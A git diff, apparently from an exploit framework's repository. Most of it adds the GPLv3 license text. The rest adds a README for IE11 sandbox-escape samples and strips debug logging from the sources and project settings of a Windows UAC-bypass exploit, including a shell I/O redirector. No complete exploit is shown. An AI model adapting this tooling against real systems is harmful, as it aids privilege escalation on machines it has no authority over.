+can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + {one line to give the program's name and a brief idea of what it does.} + Copyright (C) {year} {name of author} + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + {project} Copyright (C) {year} {fullname} + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/README.md b/external/source/exploits/IE11SandboxEscapes/README.md new file mode 100755 index 0000000000..a51ddd8491 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/README.md @@ -0,0 +1,10 @@ +IE11SandboxEscapes +================== + +Some example source code for fixed IE11 sandbox escapes. + +(c) James Forshaw 2014 + +For information purposes only. + +All files are licensed under GPLv3. See LICENSE for more information. \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/make.msbuild b/external/source/exploits/IE11SandboxEscapes/make.msbuild new file mode 100755 index 0000000000..e2ca621d10 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/make.msbuild @@ -0,0 +1,18 @@ + + + + .\IE11SandboxEscapes.sln + + + + + + + + + + + + + + diff --git a/external/source/exploits/bypassuac/CMMN.cpp b/external/source/exploits/bypassuac/CMMN.cpp old mode 100644 new mode 100755 index fcb4a3e604..eb96df0830 --- a/external/source/exploits/bypassuac/CMMN.cpp +++ b/external/source/exploits/bypassuac/CMMN.cpp @@ -8,46 +8,6 @@ #include #include -/*************************************************************************************************/ -/*************************************************************************************************/ -/*************************************************************************************************/ - -std::wstring CError::Format( DWORD ErrorCode ) -{ - return Format( ErrorCode, NULL, NULL ); -} - -std::wstring CError::Format(DWORD ErrorCode, const TCHAR *Title, const TCHAR *API) -{ - LPVOID lpvMessageBuffer; - - FormatMessage( - FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM, - NULL, ErrorCode, - MAKELANGID(LANG_ENGLISH, SUBLANG_DEFAULT), - (LPTSTR)&lpvMessageBuffer, 0, NULL); - - std::wstring result; - - std::wostringstream es(TEXT("")); - es << ErrorCode; - - if ( Title ) - { result.append( Title ); result.append( TEXT("\n") ); } - else - { result.append( TEXT("ERROR") ); result.append( TEXT("\n") ); } - - if ( API ) - { result.append( TEXT("API = ") );result.append( API ); result.append( TEXT("\n") ); } - result.append( TEXT("error code = ") );result.append( es.str() );result.append( TEXT("\n") ); - if( lpvMessageBuffer ) - { result.append( TEXT("message = ") );result.append( (TCHAR *)lpvMessageBuffer );result.append( TEXT("\n") ); } - - if ( lpvMessageBuffer ) - { LocalFree(lpvMessageBuffer); } - - return result; -} /*************************************************************************************************/ /*************************************************************************************************/ @@ -142,90 +102,3 @@ CInterprocessStorage::~CInterprocessStorage() CloseHandle( _hMapping ); } -/*************************************************************************************************/ -/*************************************************************************************************/ -/*************************************************************************************************/ - -std::wstring CLogger::GetPath() -{ - std::wstring path; - - TCHAR buffer[MAX_PATH]; - if ( GetTempPath( MAX_PATH, buffer ) ) - { - path.assign( buffer ); - path.append( TEXT("w7e.log") ); - } - - return path; -} - -void CLogger::Reset() -{ - DeleteFile( GetPath().c_str() ); -} - -void CLogger::LogLine( std::wstring& Text ) -{ - std::wstring tmp( Text.c_str() ); - tmp.append( TEXT("\n") ); - Log( tmp ); -} - -void CLogger::LogLine( ) -{ - Log( TEXT("\n") ); -} - -void CLogger::LogLine( const TCHAR *Text ) -{ - if ( Text ) - LogLine( std::wstring( Text ) ); -} - -void CLogger::Log( const TCHAR Char ) -{ - std::wstring tmp; - tmp.append( &Char, 1 ); - Log( tmp ); -} - -void CLogger::Log( const TCHAR *Text ) -{ - if ( Text ) - Log( std::wstring( Text ) ); -} - -void CLogger::Log( std::wstring& Text ) -{ - TCHAR buffer[MAX_PATH]; - // - // We have to check it every time to be reflective if user created this file - // while program was runnig. - // - if ( GetModuleFileName( NULL, buffer, MAX_PATH ) ) - { - std::wstring dbg( buffer ); - dbg.append( TEXT(".debug") ); - HANDLE hdbg = CreateFile( dbg.c_str(), FILE_READ_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL ); - if ( INVALID_HANDLE_VALUE == hdbg ) - return; - - CloseHandle( hdbg ); - } - - HANDLE mutex = CreateMutex( NULL, FALSE, TEXT("CLoggerSync") ); - if ( mutex ) WaitForSingleObject( mutex , INFINITE ); - HANDLE hFile = CreateFile( GetPath().c_str(), FILE_ALL_ACCESS, 0, NULL, OPEN_ALWAYS, FILE_FLAG_WRITE_THROUGH, NULL ); - if( INVALID_HANDLE_VALUE != hFile ) - { - SetFilePointer( hFile, 0, NULL, FILE_END ); - - DWORD written; - WriteFile( hFile, Text.data(), Text.size() * sizeof(TCHAR), &written, NULL ); - - CloseHandle( hFile ); - } - if ( mutex ) ReleaseMutex( mutex ); - if ( mutex ) CloseHandle( mutex ); -} \ No newline at end of file diff --git a/external/source/exploits/bypassuac/Redirector.cpp b/external/source/exploits/bypassuac/Redirector.cpp old mode 100644 new mode 100755 index 13042bc52a..92a02270b9 --- a/external/source/exploits/bypassuac/Redirector.cpp +++ b/external/source/exploits/bypassuac/Redirector.cpp @@ -13,9 +13,6 @@ DWORD WINAPI Redirector( LPVOID Parameter ) assert( Parameter ); TRedirectorPair *pair = reinterpret_cast( Parameter ); - CLogger::Log( TEXT("Hello redirector thread: ") ); - CLogger::LogLine( pair->Name ); - CHAR read_buff[2]; DWORD nBytesRead,nBytesWrote; @@ -25,11 +22,7 @@ DWORD WINAPI Redirector( LPVOID Parameter ) { if( ! ReadFile( pair->Source, read_buff, 1, &nBytesRead, NULL) ) { - CLogger::LogLine( - CError::Format( - GetLastError(), - pair->Name.c_str(), - TEXT("ReadFile") ) ); + error = true && (!pair->KeepAlive); break; } @@ -67,11 +60,6 @@ DWORD WINAPI Redirector( LPVOID Parameter ) if ( ! WriteConsoleInput( pair->Destination, &inp, 1, &nBytesWrote) ) { - CLogger::LogLine( - CError::Format( - GetLastError(), - pair->Name.c_str(), - TEXT("WriteConsoleInput") ) ); error = true && (!pair->KeepAlive); break; } @@ -80,11 +68,6 @@ DWORD WINAPI Redirector( LPVOID Parameter ) { if ( ! WriteFile( pair->Destination, &read_buff[i], 1, &nBytesWrote, NULL) ) { - CLogger::LogLine( - CError::Format( - GetLastError(), - pair->Name.c_str(), - TEXT("WriteFile") ) ); error = true && (!pair->KeepAlive); break; } @@ -92,8 +75,6 @@ DWORD WINAPI Redirector( LPVOID Parameter ) } } - CLogger::Log( TEXT("Bye redirector thread: ") ); - CLogger::LogLine( pair->Name ); return EXIT_SUCCESS; } diff --git a/external/source/exploits/bypassuac/TIOR/TIOR.cpp b/external/source/exploits/bypassuac/TIOR/TIOR.cpp old mode 100644 new mode 100755 index 70bed0931d..bdd6ee0d3d --- a/external/source/exploits/bypassuac/TIOR/TIOR.cpp +++ b/external/source/exploits/bypassuac/TIOR/TIOR.cpp @@ -20,7 +20,6 @@ int _tmain(int argc, _TCHAR* argv[]) { - CLogger::LogLine(TEXT("TIOR: Hello")); TRedirectorPair in = {0}; in.Source = CreateFile( STDIn_PIPE, FILE_ALL_ACCESS, 0, NULL, OPEN_EXISTING, 0, 0); @@ -79,9 +78,6 @@ int _tmain(int argc, _TCHAR* argv[]) CInterprocessStorage::GetString( TEXT("w7e_TIORArgs"), args ); CInterprocessStorage::GetString( TEXT("w7e_TIORDir"), dir ); - CLogger::LogLine(TEXT("TIOR: shell=")); CLogger::LogLine(shell); - CLogger::LogLine(TEXT("TIOR: args=")); CLogger::LogLine(args); - CLogger::LogLine(TEXT("TIOR: dir=")); CLogger::LogLine(dir); STARTUPINFO si = {0};si.cb = sizeof(si); PROCESS_INFORMATION pi = {0}; @@ -100,11 +96,6 @@ int _tmain(int argc, _TCHAR* argv[]) if ( ! created ) { - CLogger::LogLine( - CError::Format( - GetLastError(), - TEXT("TIOR: Unable to create child process"), - TEXT("CreateProcess"))); return EXIT_FAILURE; } @@ -113,14 +104,12 @@ int _tmain(int argc, _TCHAR* argv[]) CloseHandle( pi.hThread ); } - CLogger::LogLine(TEXT("TIOR: Shell has been started. Waiting...")); HANDLE waiters[4] = {pi.hProcess, in.Thread, out.Thread, err.Thread} ; // // Waiting for eny handle to be freed. // Either some IO thread will die or process will be oevered. // WaitForMultipleObjects( 4, waiters, FALSE, INFINITE ); - CLogger::LogLine(TEXT("TIOR: Ensure that we processed all data in pipes")); // // Even if process was overed, we need to be sure that we readed all data from the redirected pipe. @@ -132,11 +121,9 @@ int _tmain(int argc, _TCHAR* argv[]) // Dont forget to close child process. We need to be sure, if user terminated app which // reads our redirected data, we terminate the target child app. // - CLogger::LogLine(TEXT("TIOR: Killing child process")); TerminateProcess( pi.hProcess, EXIT_FAILURE ); CloseHandle( pi.hProcess ); - CLogger::LogLine(TEXT("TIOR: Exit")); // // I will not close any handles here - system will terminate and close all by it self. diff --git a/external/source/exploits/bypassuac/TIOR/TIOR.vcxproj b/external/source/exploits/bypassuac/TIOR/TIOR.vcxproj index 1be26fd9e2..ee5f209fcb 100644 --- a/external/source/exploits/bypassuac/TIOR/TIOR.vcxproj +++ b/external/source/exploits/bypassuac/TIOR/TIOR.vcxproj @@ -1,5 +1,5 @@  - + Debug @@ -28,23 +28,27 @@ Application true Unicode + v120 Application true Unicode + v120 Application false - true + false Unicode + v120 Application false - true + false Unicode + v120 @@ -63,26 +67,31 @@ - true - $(ProjectName)32 - $(SolutionDir)$(Platform)\$(Configuration)\ + false + $(ProjectName).$(PlatformShortName) + $(Configuration)\$(Platform)\ + $(Configuration)\$(Platform)\ - true - $(ProjectName)64 - $(SolutionDir)$(Platform)\$(Configuration)\ + false + $(ProjectName).$(PlatformShortName) + $(Configuration)\$(Platform)\ + $(Configuration)\$(Platform)\ false - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)32 + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) false + $(Configuration)\$(Platform)\ false - $(SolutionDir)$(Platform)\$(Configuration)\ - $(ProjectName)64 + $(Configuration)\$(Platform)\ + $(ProjectName).$(PlatformShortName) false + $(Configuration)\$(Platform)\ + AllRules.ruleset @@ -90,6 +99,8 @@ Level3 Disabled WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + false + Size Console @@ -99,6 +110,10 @@ + + + + @@ -106,11 +121,17 @@ Level3 Disabled 